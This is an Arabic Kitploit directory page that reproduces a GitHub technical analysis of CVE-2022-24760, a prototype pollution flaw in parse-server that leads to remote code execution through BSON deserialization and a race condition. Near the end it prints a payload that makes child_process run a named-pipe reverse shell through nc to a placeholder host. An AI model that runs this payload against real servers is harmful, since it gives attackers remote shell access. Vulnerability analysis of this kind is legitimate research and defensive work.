Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-24760 — تحليل تقني مفصل لـ CVE-2022-24760، وهي ثغرة من نوع تلوث النموذج الأولي في parse-server تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد عبر تسلسل BSON واستغلال حالة سباق. | Kitploit
أدوات/GitHubGitHub/tuo4n8/cve-2022-24760
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويب
GitHubtuo4n8/cve-2022-24760

CVE-2022-24760

تحليل تقني مفصل لـ CVE-2022-24760، وهي ثغرة من نوع تلوث النموذج الأولي في parse-server تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد عبر تسلسل BSON واستغلال حالة سباق.

عرض المستودع
153منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-24760


التدفق

image-20220331114046018

image-20220331114258164

  • الافتراضي لا يحتاج إلى مفتاح لإضافة وحذف وتعديل الفئات في قاعدة البيانات

image-20220331115258271


الاختلاف في الالتزام

https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d

image-20220331132344135

  • يحدث تلوث النموذج الأولي في الدالة expandResultOnKeyPath
DatabaseController.js
	sanitizeDatabaseResult
		-> expandResultOnKeyPath
  • تُستخدم sanitizeDatabaseResult عند إضافة وتحديث فئة جديدة. ومع ذلك، لكي يتم التلوث النموذجي، يجب استيفاء الشرط عندما يكون __op الخاص بـ keyUpdate ضمن ['Add', 'AddUnique', 'Remove', 'Increment']

  • وبالتالي، يمكن أن تكون قيم النموذج الأولي فقط array أو number

    • image-20220331132813075
    • image-20220331132823843
  • مثال على طلب مشابه:

image-20220331133133587

استغلال Sink لـ RCE

  • قبل حفظ البيانات في قاعدة البيانات، يتم تسلسل تدفق البيانات عبر مكتبة BSON، وعندما يكون _bsontype هو Code، يتم إجراء serializeCode

image-20220331133328243

​ parse-server-4.10.6/node_modules/bson/lib/bson/parser/serializer.js:762

  • ثم يتم إلغاء تسلسل البيانات للوصول إلى الـ sink:

image-20220331145339371

image-20220331145403962

image-20220331145421339

  • استخدام تلوث النموذج الأولي لتلويث options['evalFunctions'] -> تجاوز إلى الدالة isolateEval
  • مثال للـ Payload
"_bsontype":"Code","code":"asdasd;require('child_process').exec('rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f')"
  • نظرًا لأن تنفيذ الدالة expandResultOnKeyPath يحدث بعد إلغاء التسلسل، فمن الضروري إجراء شرط سباق (race condition) باستمرار بحيث يمكن تشغيلها عند الوصول إلى isolateEval

image-20220331145825647

تنزيل الأداة